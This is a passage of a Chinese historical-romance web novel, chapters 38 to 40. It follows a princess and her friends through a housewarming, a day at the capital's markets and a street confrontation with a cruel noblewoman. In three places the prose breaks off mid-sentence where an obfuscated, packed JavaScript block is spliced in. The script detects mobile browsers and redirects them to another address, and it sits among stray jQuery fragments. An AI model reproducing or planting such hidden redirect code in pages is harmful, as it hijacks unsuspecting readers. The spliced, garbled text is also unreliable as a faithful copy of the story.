曾几何时，她在战场上肆意驰骋，狂放不羁，而今却被困深宫近四年，棱角渐被岁月与算计磨平，令人叹惋。
萧沁澜未语，只是苦笑，那酸涩仿佛说不尽、道不完。
＆
七日后，凉州雪灾终得平息，喜讯迅速传遍明昭王朝每一个角落。
靖郡王奉命归来，新帝宣布大赦天下，举国欢庆，醇亲王府新建府邸设宴的消息，反倒鲜有人知。
萧沁澜今日身着紫色华裙，于亲王府花园之中散步，环顾四周后，眉翠含颦，“亲王府邸新建，这般大的事情，你怎得没邀请朝中大臣及相熟的官家子弟？”
见她不悦，蔫润知欲上前安慰，却又停下脚步，不远不近地笑道：“时机未到，宴席总会有的。在此之前，我只想与……我们这些旧时朋友相聚。”
“下人呢？”萧沁澜好似并未察觉他的尴尬，指着这偌大空荡的花园，“司空说，你已着手布置多日。即便忠勤伯府内没有合你心意下人，你可就没让夏半去寻过？”
“已有几位，正在后厨忙碌着。”
“是买回来的吗？”
“不，是母亲留下的旧仆，绝对可靠。”
“皇姑母……”萧沁澜睫羽微颤，安心地点了点头，“歌谣那事，是我做的，你知道吧？”
“那是你所有的力量了吧，沁澜……”
他刚欲确认，萧沁澜便打断了他，“他们皆是我信赖之人，你若不介意，可让他们在府中暂为侍奉。宫中自有太后安排，我不缺人手。”
原来她身边除了本采，竟无一贴心之人，全是太后的耳目。
意识到她在宫中的不易，蔫润知更加心疼。
他双手紧握，声音微哑地应了声“好”。
萧沁澜今日早早离宫，此时众官员应还在上朝，府中并无外人打扰。
与他在炉火正旺的凉亭中共饮几盏茶后，受邀的宾客们逐一抵达，挤了进来。
萧沁澜犹疑，“就……我们？”
“怎么，贤昭妹妹莫非是嫌我们撑不起亲王府邸的门面？”
萧抒抱着一个半人高的硕大礼盒，嬉皮笑脸地问，“凉州雪灾过后，我沾了亦辰的光，莫名其妙也捞了些赏赐。
那些有官印的我可不敢动，但别人顺手送的金子，我用起来还是不含糊的。
瞧润知，这大盒子可是我送你的，恭喜你脱离苦海，新府邸落成！”
礼盒之大，需一人费力支撑。
蔫润知多年习武，历经实战洗礼，无论盒中何物，他都能轻松抱起。接过后故意做作地玩笑了几句。
胡闹半晌，萧抒“啧啧”感叹，“待会司空与承韫就到。可惜真遗憾，我大清早便去上朝值守，错过了贤昭妹妹送礼的精彩瞬间。”他挑眉一笑，打趣道：“润知啊，贤昭这次到底送了什么宝贝啊？”
38. 贤昭啊，
乔迁新居，尤其对方贵为亲王，这样的盛事即便是寻常官员拜访，所赠之礼也绝非等闲。金银财宝、细软之物，在此情境下皆显得失色。
男子间的谈笑风生多半是调侃打趣，萧沁澜笑而不语，望向回廊外，那因冬日严寒而微覆薄冰的池水。
润知自幼出身显赫，衣食无忧，仆从环绕。且历经征战，几乎是一路顺遂地登上了高位。
男子骨子里的血性与刚强，在他身上尤为显著。
皇姑母在世时，他尽享人生乐趣，潇洒自如，所求无不应。
可自出征未归后，被权势长期压制的忠勤伯终无耻反抗，对润知多有轻视与不公。
忠勤伯秉性宽厚，不向百姓发泄怒气，不骄奢安逸。
放在现在便是得了权势的老实人。
府中纳的两位小妾为他诞下子嗣，也未见他多么宠爱，仅偶尔逗趣一番，稍有不悦便心生厌烦。
那些终日守候在忠勤伯府的暗卫，也确实难为。
日复一日，仅得窥见些琐碎杂事。
难怪他们每次汇报时，都试探性询问是否可与他人调换。
不管怎样，忠勤伯作为官员无趣，作为父亲不称职至极。
润知自幼被宠溺，未曾为日后生计多作筹谋。
除却朝廷定期发放的俸禄，便是那些不可轻易变卖的皇家赏赐，简而言之，便是“穷”字当头！
自己所赠之物，乃易于脱手的字画玉器，以及各式黄金摆件。
望润知莫要固执，将这份馈赠视为珍宝束之高阁。
……
凉亭内外界限分明，友人间的盈盈笑语，与轻柔的风声交织，一片和谐。
蔫润知回头悄悄观察，见她神色平静，只温和中透露出几分淡漠与距离，心中便已明了她的想法。
久别重逢，话未及多，便屡屡被琐事打断。
眼瞅着正午将至，她或许打算不久便要离去。
蔫润知随意敷衍几句，以笑声掩饰想要独处的急切。
原本他只打算邀请司空颢一人，可萧抒性格爽朗，擅长与人交往，得知消息后坚持要来。
臣子与公子哥儿可以不必理会，但既然二人都决定赴约，那么同于文华殿待过的陆承韫自然不能落下。
请帖送至二人府邸，司空颢携来的礼物小巧，他提及里面含有配方，想必是些药丸与草药之类的物品。
至于陆承韫……
萧抒望着那两大箱满载的古董、字画与银两，惊得目瞪口呆，手指颤抖地指向他，“承韫，你这是要让我们倾家荡产吗？这么多东西得花多少钱啊？我…不对，我可是孤苦无依，府中数百口人全靠微薄的俸禄度日。你这份大礼，尤其是这青花瓷瓶，得值多少银子啊？”
“承韫此举，确实令人……想不到。”言罢，司空颢藏起自己那不起眼的小盒。
字画玉瓷，价值难以估量，既可廉价如一文钱，亦可昂贵至万两黄金，且便于携带，故常被下属用作贿赂长官之物。
无论朝局清明与否，“孝敬”之风始终屡禁不止，打击之下仍层出不穷。
明昭王朝此现象目前尚不明显，可他此番竟明目张胆贿赂。
先不论那两箱财物是真是假，蔫润知面色一沉，“承韫，你我相识多年，共读文华殿亦有一年之谊，你这般肆无忌惮而来，莫非真要逼我破例？”
明昭王朝仅有他一位亲王，身份尊贵且无娘家依仗，朝中不乏认同其血脉之臣。
时至今日，官员们相聚时仍热议让他与贤昭公主联姻，诞下皇子以承大统，此乃众望所归，大势所趋。
陆承韫携此两箱沉甸甸的银钱而来，必是定国公特意有所安排，意在朝中制造误会，使臣子们误解自己的选择。
陆承韫目光转向凉亭中正兴味盎然观戏的萧沁澜，点头示意后，视线自然地转向别处，从怀中取出一块掌心大小的精致小盒。
“亲王府落成已广为人晓，包括家父。得知我将赴宴，他特地在临行前更换了马车，并当众将这几箱置于车内，亲自护送，直至府邸之外。润知，你了解定国公府的境况，我拒绝不得。手中这份，才是我真心想赠予你的。”
言毕，众人一时无语。
说到底，此间四人除司空颢外，皆近乎形单影只，谁不是在命运面前无助、无能拒绝。
萧抒甩开纷乱的思绪，猛然拍了拍身旁人的肩膀，笑道：“都是自家兄弟，谁还不了解谁呢？只要不是伤天害理，拿了银子咱们就花，关键是要守住心中的底线。你看承韫手臂伸那么长，举了这么久肯定累了，你还不快点帮忙接一下。”
“要不是你拍我，我都接过来打开了。”蔫润知揉着隐隐作痛的肩膀，转身给了萧抒一拳，迅速接过那个小盒子，抱在怀中上蹿下跳，躲避着萧抒不断袭来的军体拳。
花园内顿时充满了“嗷呜嗷呜”的嬉闹声，分不清是谁的惨呼。
萧沁澜悠闲地品着茶，吃着点心，旁观两人的嬉笑打闹，眉宇间皆是轻松。
男孩子嘛，偶尔真的挺幼稚。
客气片刻，二人忽地认真过招，紧接着又耍起滑稽的猴拳，还捶胸顿足地怒吼。
直到累得气喘吁吁、满头大汗，这才罢休。
好半晌后，萧抒满不在乎地斜倚在凉亭柱旁，“这亲王府地界有限，转眼便能逛遍。我们好不容易聚在一起，难道就在此虚度光阴？实在可惜！”
深知沁澜有洁癖，蔫润知无意靠近，接过丫鬟递来的手帕，细细拭去额间汗珠，“这院子我未做大改动，只略作整理，景致平平。唯远离尘嚣，颇显清幽。既然难得相聚，何不于此小憩，品尝些点心？”
“宫中的点心我早已食之无味。忠勤伯府的手艺亦不及宫中。依我看，与其反复品尝这些老味道，观赏那些毫无新意的景致，不如现在即刻外出，游赏街市。”
萧抒扬了扬衣袖，又指向衣上精致花纹，“我今日特地着衣这般低调，正是为了与你们在京城畅游。尤其是贤昭难得出宫，岂能将你困于这小府邸之中？润知，你忍心吗？”
自得知沁澜此次出宫的日期以来，蔫润知便夜不能寐。
白日里细心排查府邸的不妥之处。
夜晚则辗转反侧，宴会的种种细节在脑海中不断回放，思忖着怎样安排既热闹又合她心意。
却又忧虑太后规矩森严，恐她因此受罚。
最终，仍决定采取最为稳妥的方式，品茶、用膳，与好友闲话家常。
不过这样的安排听起来便觉乏味。
正当他欲开口之际，陆承韫突然插话，“京师的烟火气十足，与皇宫的清冷截然不同。尤以名声远扬的初语楼最为新奇，连明远太后也对其赞不绝口。沁澜似乎，还未曾踏足过。”
“初语楼？”司空颢一心扑在医术与制药上，除了被迫在文华殿学习的一年，对外界鲜有关注。
“这初语楼啊，说起来可真是个宝藏地，”萧抒拍了拍他的肩，“光是那楼里流传的故事就足够引人入胜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234524|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，更遑论里面珍藏的惊世之作了。你平日里少有机会外出，自然不清楚这些，我给你细细道来……”
＆
“啧啧啧，你们或许未料到，清泉词人的《玉碎绮罗》竟然风靡四海。
这名字初听起来，似乎只是围绕男女琐事、情爱纠葛的叙述，但细品之下，却令人深感震撼。
同样备受推崇的还有的《锦绣记》，我从未读过这样既大胆又引人深思的著作。
且这两本皆是女子所作。
初语楼可当真不凡，竟敢在皇城根下、京师腹地用女子撰写的书籍，张扬行事，至今却还未受丝毫责罚！这背后的主人，着实令人好奇。”
宽阔的长街上，马车缓缓行进，萧抒的念叨滔滔不绝，尽是对初语楼壮举与胆识的赞美，正经话题却未沾边。
车内氛围分明，司空颢被他紧紧拽着衣袖，稍一分神便会被一连串反问陡然淹没。
无论是否愿意倾听，他都不得不全神贯注。
司空颢皮笑肉不笑，还未亲至初语楼，已有些厌恶。
另一边两位则莫名地争锋相对。
“北街厨娘的手艺极佳，水引简直美味爽利。先将面团揉搓成筷子粗细，一尺长，然后浸入水中，再搓成韭叶那么薄下锅煮沸。”
蔫润知连连称赞，“沁澜虽用过，却从未尝到刚出锅、热气腾腾的。夏半，我们去北街。”
“平民小摊价格低廉，环境总显得不那么整洁。”
陆承韫正襟危坐，淡然反驳，“望清楼则不同，那里的酒水堪称一绝，菜肴种类繁多，甚至引入了不少番邦特色，值得一试。元栖，去望清楼。”
“外族在边关犯下累累血债。他们的东西，谁知道是用什么手段得来的？那些残忍血腥的壮汉，带来的东西无非是些牛马羊肉，又有何稀罕！夏半，去北街！”
“闭门造车，绝非长久之计，迟早会引来祸端。润知身为亲王，太后虽特许你不上朝，但府邸既已建成，你需独立担当。眼光若短浅，何以决断大事？何以保护家族？元栖，行程无需更改。”
马车颠簸前行，时而转向北街，时而拐向东街，那位主子吩咐，那位侍从便接过缰绳，自然而然，倒是未曾当街争执。
不过京师小道曲折蜿蜒，闹腾一顿后现已迷失方向，与目的地相去甚远。
车内二人态度迥异。
质疑自己对政事的无知尚可理解，但直言自己无力保护家人，这不正是间接贬低自己为无能之辈吗？
蔫润知闻言怒火中烧，瞥见天色尚早不急于一时，便霍然狠拍扶手，“哐当”一声车内震响。
他挑了挑眉，高声命令道：“夏半，即刻返回亲王府，将那两箱银子装车，给定国公送回去！竟敢轻视本王，本王定要让他瞧瞧厉害！本王之位，岂是摆设！”
这话初听愤慨，细品之下，实则是为陆承韫考虑，暗示双方退让。
陆承韫平静的眼眸深深望着他，与之前的疏淡全然不同，如月般皎洁稳重的神情似是暗了暗，欣长的身影靠在车厢，清冷寂寞。
心胸宽广，润知……很好啊……
马车颠簸中，方向悄然改变。
这突如其来的怒喝，打断了萧抒兴致勃勃的解说，他侧眸望去。
平时鲜少见二人有过多交集，今日却异常地像兄弟般热闹拌嘴。
一番苦口婆心的劝说，见两人仍波澜不惊，彼此扭过头去不愿对视，萧抒不禁长叹一声，“贤昭啊，你倒是说句话嘛！”
39. 瘪了下去
初雪过后，京师街道焕然一新，未见丝毫尘垢，五城兵马司的治理功不可没，勤勉有加。
马车之内，萧沁澜徐徐放下车帘，侧首望向几人，“宁兄长适才，所言何事？”
这幅浑然不知、完全不察的模样，引得几人愈发沉默。
萧抒一时语塞，继而以手扶额，长叹一声，“看来，唯独我过于操心了。言归正传，润知刚才的提议，我倒是能理解，承韫你……”
定国公府有二子，陆承韫素来不受宠，且性格内敛，鲜少与人交往。
每当兄长生错，他总被推出做替罪羊。
凡与国公爷有过数面之缘者，皆对此心知肚明，国公爷也未曾刻意隐瞒。
这般素来低调沉稳的人物，现下竟一反常态，与润知争夺……
贤昭的认可？
萧抒用力摇了摇头，将这不切实际的想法抛诸脑后，遂凝眸认真端详着他。
身临喧嚣，陆承韫依旧波澜不惊，身姿淡然宁静，一片岁月静好，“我鲜少外出。今日既然出门，自然要选择合胃口的菜肴。”
“噢……”萧抒拉长尾音，恍然道：“原来如此，这安排确实合理！润知，我看咱们就听承韫的。你想吃北街那家面条，日后有的是机会。但定国公府规矩严，今日错过，下次承韫何时能出门就难说了。”
蔫润知方才声音稍大，此刻回过神来，作为好友，心中略感不安。
他不再刻意保持亲王的架子，放松下来，小心翼翼地问道：“沁澜，你今日打算何时回宫呢？”
萧沁澜浅浅勾了下唇，戏谑道：“怎么，想赶我走？还是不想见到我？”
“不是！怎么可能！”蔫润知连忙否认。
“沁澜，别逗他了。”一直沉默的司空颢终于开口，他望向窗外，评估着时间，“时辰尚早，润知若有兴趣，可以先与沁澜在街上逛逛店铺。晌午我们于北街用膳，天黑时则去望清楼。这样的安排，你们觉得如何？”
“天黑？”这句信息太过，蔫润知心弦不自觉紧绷，双手抓紧了膝盖上的衣袍，唇角紧抿，要笑不笑，满怀期待地凝望着她。
“对，是天黑，晚上。”见状，司空颢不禁摇头轻笑，“沁澜这三天都会住在宣王府。五城兵马司与禁卫军已奉命守护。只要沁澜同意，润知作为亲王进出宣王府，应是无碍。”
“真的吗！”
话音刚落，萧抒与蔫润知几乎同时惊呼。
宣王？
先太子！
圣德皇后的亲儿子！
太祖皇帝唯一的嫡子！
宣王府戒备森严，加之先太子曾居住在此，牌位在此，思念亲人祭拜三日，倒也不难理解。
得到这意外的好消息，两人唏嘘半晌，旋即弃车跃下，司空颢也紧随其后。
明昭王朝如今在初语楼的影响下，女子不戴幂笠外出已成常态。
考虑到萧沁澜身份的特殊性，为防止被认出或受到伤害，她戴上了事先准备好的面纱，侧头望向还留在原地的那人。
这身装扮虽不及夜晚跳窗时的英姿飒爽，却平添了几分温婉可人。
众人皆知蔫润知对她情有独钟，皆欲撮合，朝中臣子亦不例外。
陆承韫静默片刻后，猛然上前，一把扯下她的面纱，双唇紧贴，迅速深入，深刻烙下自己的印记，约莫三息重新为她戴好面纱，深深望了她一眼，当即转身掀起车帘，干脆利落地下了车。
这一系列举动霸道至极，着实让萧沁澜感到意外与愕然。
不过……
偶尔体验一次，倒也滋味别样，情致独具一格。
果然，无论怎样克制，追求刺激才是人性最深处的本质。
方才因有人催促，面纱戴得有些歪斜，她细心调整后，方掀开车帘，在本采的搀扶中，缓缓步下马车。
＆
承平盛世，京师繁华且安宁，街头巷尾的吆喝叫卖之声此起彼伏，人间烟火气息尤为浓厚。
蔫润知鲜少有机会散心，还是无忧无虑与心上人自在漫步。
沿途所见，商铺林立，摊贩如织。
京师之中不乏富贵官家，见几人穿着虽简朴，却难掩其面料上乘。
故而一旦靠近，商贩们便满脸堆笑，争相夸赞自家商品的非凡之处。
“客官，您请看，这茶源自江南名山之巅，汤色清澈透亮，香气袭人，无需繁复冲泡，便能品味其醇厚口感。若公子读书疲惫，一杯下肚，定能提神解乏，忘却所有忧愁。物超所值，公子何不尝试一番？”
蔫润知兴趣寥寥，只侧眸看向身旁，“怎样？这茶你可喝得惯？”
“嗯。”萧沁澜久未尝过市井小吃，见那茶品色泽诱人，便点头应允。
男子素来爱面子，今日他收的礼应该够几百两，她并未亲自掏钱。
听到肯定答复，蔫润知心情顿时大好，豪爽地一挥手，将她所看中的全部买下，同时不忘嘱咐店家仔细核算银两，还顺手收回了找零的几枚铜板，放入荷包中，继续前往下一个摊位。
待他们一行人远去后，茶叶店的老板摇了摇头，自言自语道：“这位公子哥行事颇有原则，出手也算大方，且毫无矫揉造作之态，未曾刻意夸大付出，倒是难得。”
不远处，丝绸摊前顾客盈门，摊主正滔滔不绝地介绍着，“我家这丝绸乃精选上等蚕丝为原料，再由巧手匠人日夜精心织就。
您看这色泽，摸这手感，光滑细腻，柔软至极。若公子为这位小姐定制新衣，定能让她在人群中脱颖而出，成为焦点，就连京师中的郡主、县主，也难以匹敌其风采。”
“老板这话，倒是颇为大胆。”萧沁澜笑着回应，“不过，既言群芳，怎可独独漏了当今的贤昭公主呢？”
听罢此言，原本和蔼的摊主脸色骤变，迅速将展开的布料收回，沉声道：“贤昭公主殿下光辉如日月，非我等凡夫俗子所能企及。小姐请勿耽误我的生意，还是请回吧。”
“您可知此地为何方？”
“不过是京师罢了。我虽卑微，但太祖皇帝的唯一血脉，岂是轻易可比？即便今日将我凌迟或五马分尸，我也不会更改此言……”
话音未落，蔫润知已果断决定，将摊主的全部丝绸悉数买下。
“全部？公子，请允许我提醒，其中几匹布料颇为粗糙……”
“无妨，布料总有其用，悉数理好后送往亲王府……是醇亲王府，知道位置吗？”
“醇亲王！”摊主大惊，倏地满脸诚挚，“小人真是有眼无珠，原来是醇亲王府邸的大人。既然是醇亲王为贤昭公主所购，小人定当精心挑选，细致打理。”
待他们走远，摊主再也按捺不住内心的激动，嘴角上扬至几乎触及耳际，喃喃自语，“我何德何能，竟能让贤昭公主殿下垂青于我的……不行，这些太过简陋，必须回家一趟，将珍藏的宝贝悉数取出。”
言罢，他匆匆驱散询价的顾客，迅速收拾摊位，急步向家中奔去，生怕错失这千载难逢、光宗耀祖的良机。
蔫润知出手极为阔绰，只要萧沁澜于摊位前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234525|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
稍作停留，他便慷慨解囊，将看过的物件儿一一收入囊中。
不一会儿，他的钱袋便瘪了下去。
瓷器摊位前，他本欲出口，却被萧沁澜柔声制止，“好了，逛了这么久也累了，今日便到这里吧。”
“前方就是望清楼。”陆承韫沉默良久后突然道，语气坚定不容置疑，“我请客。”说罢，他率先迈开步伐，不顾几人反应朝酒楼内走去。
“一路相伴至此，也不便拒绝。”萧抒偷偷指了指他的背影，小声道：“快走吧，我真的饿了。望清楼可不便宜呢！今日赚大发了！”
“嗯。”萧沁澜观赏着那倔强不肯回头的身影，抿嘴浅笑。
瓷器摊主望着这即将到手的大生意溜走，心中五味杂陈，却因几人的衣着不敢上前，只能原地懊恼不已。
＆
街道之中，车水马龙，街道对面，人声鼎沸。
望清楼共有三层，傍水而建，其每层皆有飞檐翘角，镌刻雕梁画柱。
松柏挺拔，碧波轻拂，云彩与水中倒影、绿意相互映衬，美不胜收。
想要踏入这楼阁，还需穿越一条街道。
京师有规，不可纵马疾驰，马车亦需慢行。
萧沁澜随着周围行人不疾不徐前行，未行几步，陡然感觉不远处一股凌厉的疾风袭来，她本能地想要闪避，却被两股更为迅猛的力量猛然拽住，瞬间回到瓷器摊位前。
“没事吧？”蔫润知弯腰关切查看，眼中忧虑显而易见。
“无事。”萧沁澜掐了掐掌心，镇定下来，抬头时，正与另一双满含她身影的眼眸相撞。
陆承韫啊。
她轻挑眉毛，挣开身旁扶持的手臂，目光转向街道中央。
蔫润知被她忽地甩开，薄薄的唇瓣颤抖一瞬，眼帘垂下，默默后退一步，护在她身侧，低头注视着两人方才触碰之处，对周遭的喧闹充耳不闻。
注意到他的失落，陆承韫脸上的笑意收敛，思虑凝重。
……
明远太后治国有方，皇城脚下尤为严明，而今新皇登基不过两月，竟有人敢在光天化日之下纵马狂奔。
“这人...怎会如此眼熟？”萧抒惊愕万分，视线紧锁前方那不知天高地厚之人。
自然眼熟，此人正是被选为皇妃的皇族外戚、兴远伯府的嫡女——德伦郡主。
她向来嚣张，不加掩饰，正愁寻不到机会让她暴露于人前，未曾想刚入选便失态至极。
区区微末外戚，勃勃野心，可见一斑！
面纱之下，萧沁澜面容冷淡，美目盈满森寒。
四周民众聚集，议论纷纷。
“这……地上躺着的女子是谁？观其衣着，绝非寻常丫鬟，莫非是哪位官宦人家的小姐？”
“十之八九。官家之中等级森严，丫鬟怎会梳此等发髻。再看那衣料与披风，分明是最新的云光锦，此人若非官家小姐，便是富商巨贾的掌上明珠。”
“光天化日之下，皇城根前，谁敢这么胆大妄为，欺凌权贵千金？这不是找死吗？此事若传入宫中，怕是砍头也难逃其咎。”
“嘘！轻声点，别这么大声。你可知那马车里坐的是谁？那可是皇族的外戚，兴远伯府的得伦郡主。据说已被选定为贤妃，即将入宫为妃。”
“得伦郡主？就是那位传言中强抢男女，肆意在府中打骂虐待，手段残忍至极，迫害了无数无辜，却因种种原因难以制裁，至今仍逍遥法外的得伦郡主吗？”
“没错，就是她。都说了，要小声些。”
40. 啪啪啪啪——
古人云：“女子名节重于泰山。”
九天星辰，浩渺无垠，女子立身尘世，往往面临诸多束缚。
需自重、自爱、自尊，坚守名节与贞操，白雪无暇，检点言行。
不为权势所动，不因金钱而失本心。
于小家相夫教子，勤勉操劳，三从四德。
最好出于自愿，倾囊相助，以嫁妆支撑家计，养父养妾养庶子。
上述诸项，若稍有懈怠，便可能遭受世间某些酸腐书生及卑鄙男子的诟病、欺辱，乃至被迫害至绝境。
简言之，女子常被诬陷为家族、王朝兴衰的代罪羔羊，一肩承担恶名。
得伦郡主跋扈嚣张，但她背后的父兄才是万恶之源。
她实在愚钝，当前却非最佳惩治之时。
京师细小事务尽由五城兵马司掌理，萧沁澜本无意涉足，直至耳边传来前方的议论纷纷，她猝然止步，转身直视那位身居高位、华服加身的女子，面色沉静如水，目光深邃冷漠，久久凝视，一语未发。
不论是皇室成员还是其他官员，乘坐马车皆有严格的规章制度。
郡主为云锦覆体、金雕车辕、锦鞍玉勒。
而公主则为龙辇、凤羽华盖、玉雕龙首车辕、宝石镶嵌鞍鞯。
德伦所乘的车身竟敢用龙凤图案，凤羽华盖，简直擅行非分，肆无忌惮。
德伦郡主全然不知她所想，只手握马鞭，立于马车之上，对下方众人投以不屑的白眼，“本宫乃太祖皇帝亲封的得伦郡主，天家之亲。尔等刁民聚此，意欲何为？莫非是想藐视天威，不敬皇室吗？”
明昭王朝自满目疮痍的前朝手中接过重任，仅四年光景便一匡天下。
初时也是艰辛备至，可明远太后秉承太祖遗志，手腕强硬而不失仁慈，以严刑峻法治国，同时宽待百姓。
她鼓励民众开垦荒地，推行民屯、商屯、军屯三种屯田制度，于地狭人稠之处，免费分发耕牛、种子、农具与粮食，且三年内免征税赋。
至于其他地区，则实施轻徭薄赋之策，珍视民力，爱惜百姓。
实在严峻的灾情便蠲免赋税。
历经三年努力，明昭王朝终得安定。
随即大兴水利，致力于农业振兴，鼓励农耕，同时推动儒学及社学的发展，甚至开放边市。
然而臣民对外邦颇有微词，推进至今尤为谨慎。
豫州学子事件后，明远太后于各州府乡县设立申明亭与旌善亭，以彰善瘅恶。
有过失者之名录于亭上，以示世人，令其受唾骂而警醒；有功绩者亦“榜”上有名，广受嘉赏与颂扬。
例如李贞合一家因功被册封为皇商，太后亲赐牌匾，镌刻于旌善亭之上，并载入史册。
此外，为严惩功臣与王侯贵族的蔑视法纪，朝廷还实施了一系列法外重刑。
经过四年的深刻变革，京师百姓无论男女，大多有了稳定活计，小摊位亦经营的风生水起，生活富足且有余暇。
因着以上种种，在皇城根下的围观者对德伦郡主虽无畏惧，但碍于礼法与恩德，不会公然非议传播，只能私下小声议论。
“地上躺着的女子，观其衣着，应是权贵之家的千金吧？不知何故竟遭遇此等不幸，真是令人唏嘘。”
“罢了，我们旁观即可。这位郡主曾强行将无数女子买入府中为奴，又残忍折磨。
那些女子的家人远在异乡，无力为她们讨回公道。
往昔郡主尚不敢对京城中人下手，而今新皇登基，她竟被册封为贤妃，行事愈发肆无忌惮了。
要不是萧氏皇族宽厚仁德，兴安伯一家早被天下万民践踏致死了。”
“可……难道我们就坐视不管吗？毕竟是一条鲜活的生命啊！”
“唉，还是顾好自己为要。别忘了，现在不是明远太后掌权。这位是新帝的宠妃。能经过重重筛选入宫，必是深得圣心。我们……”
“你说得对，多一事不如少一事。我们人多，就聚在这里别散开。五城兵马司见此处人群聚集，定会前来查看。到时皇家定会知晓此事。毕竟是贵族之女，皇家不会袖手旁观。”
“可是地上女子衣衫凌乱，当众被逐出马车，名节已然受损，何以再谈婚嫁？若她的真实身份泄露，家族恐将蒙羞，清誉受损。我们要不先行离开？权当未曾看到。”
道道声音源源不断传来，萧沁澜在嘈杂中逐渐拼凑出事情全貌。
“这……”萧抒紧攥拳头，在原地焦急地踱来踱去，“嘶，我怎么感觉拳头这么硬！只可惜得伦竟是女子，否则管他什么郡主不郡主的，我定先揍一顿出气！”
鞭声骤响，沉闷而有力，人群瞬间沸腾，炸开了锅般，指桑骂槐的声音愈来愈大。
素来沉稳的司空颢亦觉此事难容，他从怀中取出一包药粉，沉声道：“风波四起，唯有平息。我一人行事恐累及家父，诸位，愿否同行？”
“好！快走走走，再慢些那鞭子就要再次落下了！”萧抒摩拳擦掌，一脸严肃地准备上前。
萧沁澜扯住他的袖子，一触即分，“好男不与女斗。在场几人唯我身份合适，出手自是应当。但我并不喜张扬，待风波平息之后……”她话说一半，稍作停顿。
萧抒与她相识尚不足一年，对她的未尽之意感到困惑，愣愣地问：“什么？”
“知道了。”
其余三人几乎同时出声，默契得如同事先排练，继而又惊讶地对视一眼，神色各异。
萧抒，“……也罢，你们心中有数就好。”
简短交谈后，各自行动起来。
马车之上，得伦对四周的怒斥声置若罔闻，望着那些敢怒不敢言的人，反而更加得意起来。
“京师又如何？财富又如何？
尔等庶民终究需对我皇家顺从。
依我看，你们生活安逸过度，无论民屯还是商屯，皆因太后娘娘慈悲，养得你们满面春风。如今竟有闲暇围观皇室之事，实在没事就到地上蹲着数数蚂蚁足，抑或寻石磨舌，胜于无谓闲聊。”
太祖皇帝英明神武，明远太后圣明睿智，贤昭公主贤淑稳重，这才是百姓敬仰的天家典范！
得伦郡主算什么东西！
能在战乱后于京师立足者都是有血性的，不敢动手还不敢还嘴了。
古语云：“寡不敌众，法不责众。”
一摊贩当即站出冷笑，“民众生活艰辛。我等日出而作，日落而息，所得钱财清白非凭侥幸。虽无权势，但正义之心坚定不移。像郡主这样无礼、无义、无德的嚣张跋扈之辈，‘贤妃’，哈哈哈……”
德伦怒火中烧，“本宫不配贤妃之位？莫非你这卑微寒酸的平民便自认为能胜任？先照照镜子瞧瞧自己的模样吧。怕是你因自己与女儿皆貌不惊人，便心生嫉妒，才敢如此诋毁本宫之美。真是可笑至极。”
得伦抚摸着鬓边发丝，眼中满是不屑，对地上满身血迹的女子发出不耐的轻哼，正欲继续嘲讽她的出身与不自量力，不料这番言论反激起民众强烈反感，引得民愤更炽！
一商人挥舞衣袖，“水能载舟，亦能覆舟。
明远太后以仁德治民，贤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255042|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昭公主更是不顾身份，为学子前程当众求助于朝臣。
如此皇室，如此高风亮节，方是我们应效忠与敬仰的典范。
反观你，一个血统不纯、满身瑕疵、高傲无礼、又无实权的郡主，何德何能代表皇室？还自称‘本宫’，你那扭曲的面容，岂能与皇室尊荣相提并论？
真是令人作呕，确实令人作呕，简直令人作呕！”
“你们……”
得伦双眼赤红，浑身战栗，高高举起鞭子，直指那群喧哗与附和之人，“你等刁民，竟敢在光天化日之下辱骂太祖皇帝亲封的郡主！你们若不惜命，好，来人！”
围观民众并无惧色。
“天网恢恢，疏而不漏。
你昔日残害无辜，蔑视苍生，假冒皇族，滥用皇家名讳，仿佛天下唯你独尊。
如此嚣张，无视皇威，岂能担当贤妃之名？
她若胆敢妄动，我等即刻击鼓鸣冤！
太后圣明，陛下英武，定能将这恶女绳之以法！大家，我们走！”
得伦自幼被娇生惯养，何曾遭遇过这等奇耻大辱，一时气急竟不顾一切，命令手下侍从拦截住人数远超他们的平民，俄而举起马鞭，毫不留情地向那些平民挥去……
“啪！”
一声清脆响亮的巴掌声震耳欲聋，顿时贯穿了整个街道，喧嚣的场面霎时凝固，静得连针落地的声音都能听见。
谁不渴望安稳度日，但得伦郡主恶名昭彰，今日竟敢对权贵小姐当街动手，未来难免不对自己或家中女儿下手。
有人挑头闹事，应和者自是众多，可一旦势头稍减，那股冲动之火便迅速熄灭，有寻常者愕然止步，甚至暗自懊悔自己卷入了是非。
现下却无一例外，不由自主地抬头望向马车。
